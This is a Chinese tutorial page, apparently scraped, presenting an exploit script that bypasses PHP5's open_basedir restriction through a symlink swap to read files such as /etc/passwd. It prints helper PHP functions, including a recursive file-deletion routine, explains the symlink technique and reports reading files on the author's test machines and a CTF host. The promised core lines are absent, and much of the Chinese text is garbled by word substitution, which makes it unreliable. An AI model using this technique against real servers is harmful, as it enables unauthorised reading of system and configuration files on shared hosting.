《PHP實例:PHP5全版本繞過open_basedir讀文件腳本漏洞詳細介紹》要點:
本文介紹了PHP實例:PHP5全版本繞過open_basedir讀文件腳本漏洞詳細介紹,希望對您有用。如果有疑問,可以聯系我們。
PHP學習漏洞很久之前(大概5年前)被提出來了,但并不是php代碼上的問題,所以問題一直存在,直到現在.我一直沒把穩,后來yaseng告訴我的,他測試了好像5.5都可以.
PHP學習破綻詳情在這里 http://cxsecurity.com/issue/WLB-2009110068.
PHP進修給出我寫的EXP:
PHP進修function getRelativePath($from, $to) {
? // some compatibility fixes for Windows paths
? $from = rtrim($from, '\/') . '/';
? $from = str_replace('\\', '/', $from);
? $to?? = str_replace('\\', '/', $to);
PHP進修? $from?? = explode('/', $from);
? $to???? = explode('/', $to);
? $relPath? = $to;
PHP進修? foreach($from as $depth => $dir) {
??? // find first non-matching dir
??? if($dir === $to[$depth]) {
????? // ignore this directory
????? array_shift($relPath);
??? } else {
????? // get number of remaining dirs to $from
????? $remaining = count($from) - $depth;
????? if($remaining > 1) {
??????? // add traversals up to first matching dir
??????? $padLength = (count($relPath) + $remaining - 1) * -1;
??????? $relPath = array_pad($relPath, $padLength, '..');
??????? break;
????? } else {
??????? $relPath[0] = './' . $relPath[0];
????? }
??? }
? }
? return implode('/', $relPath);
}
PHP進修function delfile($deldir){
? if (@is_file($deldir)) {
??? @chmod($deldir,0777);
??? return @unlink($deldir);
? }else if(@is_dir($deldir)){
??? if(($mydir = @opendir($deldir)) == NULL) return false;
??? while(false !== ($file = @readdir($mydir)))
??? {
????? $name = File_Str($deldir.'/'.$file);
????? if(($file!='.') && ($file!='..')){delfile($name);}
??? }
??? @closedir($mydir);
??? @chmod($deldir,0777);
??? return @rmdir($deldir) ? true : false;
? }
}
PHP進修function File_Str($string)
{
? return str_replace('//','/',str_replace('\\','/',$string));
}
PHP進修function getRandStr($length = 6) {
? $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
? $randStr = '';
? for ($i = 0; $i < $length; $i++) {
??? $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
? }
? return $randStr;
}
PHP學習如我們欲讀取/etc/passwd.其實原理便是創建一個鏈接文件x,用相對路徑指向a/a/a/a,再創建一個鏈接文件exp指向x/../../../etc/passwd.
PHP學習其實指向的便是a/a/a/a/../../../etc/passwd,其實便是./etc/passwd.
PHP學習這時候刪除x,再創建一個x目錄,但exp還是指向x/../../../etc/passwd,所以就勝利跨到/etc/passwd了.
PHP學習精華便是這四句:
PHP學習我們拜訪http://xxx/exp,如果服務器支持鏈接文件的拜訪,那么就能讀到/etc/passwd.
PHP學習其中并沒有任何操作觸發open_basedir,但達到的 效果便是繞過了open_basedir讀取任意文件 .
PHP學習差錯不在php,但又不知道把差錯歸結到誰頭上,所以php一直未管這個問題.
PHP進修
PHP進修open_basedir
PHP學習將 PHP 所能打開的文件限制在指定的目錄樹,包括文件本身.本指令 不受 平安模式打開或者關閉的影響.
PHP學習當一個腳本試圖用例如 fopen() 或者 gzopen() 打開一個文件時,該文件的位置將被檢查.當文件在指定的目錄樹之外時 PHP 將拒絕打開它.所有的符號連接都會被解析,所以弗成能通過符號連接來避開此限制.
PHP學習特殊值 . 指明腳本的工作目錄將被作為基準目錄.但這有些危險,因為腳本的工作目錄可以輕易被 chdir() 而轉變.
PHP學習在 httpd.conf 文件中中,open_basedir 可以像其它任何配置選項一樣用“php_admin_value open_basedir none”的 辦法 關閉(例如某些虛擬主機中).
PHP學習在 Windows 中,用分號分隔目錄.在任何其它系統中用冒號分隔目錄.作為 Apache 模塊時,父目錄中的 open_basedir 路徑自動被承繼.
PHP學習用 open_basedir 指定的限制實際上是前綴,不是目錄名.也就是說“open_basedir = /dir/incl”也會允許拜訪“/dir/include”和“/dir/incls”,如果它們存在的話.如果要將拜訪限制在僅為指定的目錄,用斜 線結束路徑名.例如:“open_basedir = /dir/incl/”.
PHP進修Note:
PHP學習支持多個目錄是 3.0.7 參加的.
PHP學習默認是容許打開所有文件.
PHP學習我在我的VPS(php5.3.28 + nginx)和樹莓派(php 5.4.4 + nginx)上都測試過,勝利讀取.
PHP進修樹莓派測試:
PHP進修
PHP進修
PHP學習相比于5.3 XML那個洞(那個很多文件讀不了),這個成功率還是比擬穩的,很多文件都能讀.而且版本沒要求,危害比擬大.
PHP學習前幾天成信的CTF,試了下這個腳本,apache也可以讀取,其時讀了讀kali機子的/etc/httpd/conf/httpd.conf,沒啥收獲.
PHP學習發現沒旁站,流量是經由過程網關轉發的.
PHP進修
《PHP實例:PHP5全版本繞過open_basedir讀文件腳本漏洞詳細介紹》是否對您有啟發,歡迎查看更多與《PHP實例:PHP5全版本繞過open_basedir讀文件腳本漏洞詳細介紹》相關教程,學精學透。維易PHP學院為您提供精彩教程。